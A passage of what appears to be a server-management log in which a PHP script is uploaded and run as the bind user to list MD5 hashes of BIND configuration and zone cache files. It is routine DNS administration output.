MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:44: Establishing a connection
2026-04-22 12:28:44: 

PUT: /tmp/pkp368626

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp368626; rm /tmp/pkp368626'

2026-04-22 12:28:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:45: Establishing a connection
2026-04-22 12:28:45: 

PUT: /tmp/pkp561355

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp561355; rm /tmp/pkp561355'

2026-04-22 12:28:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
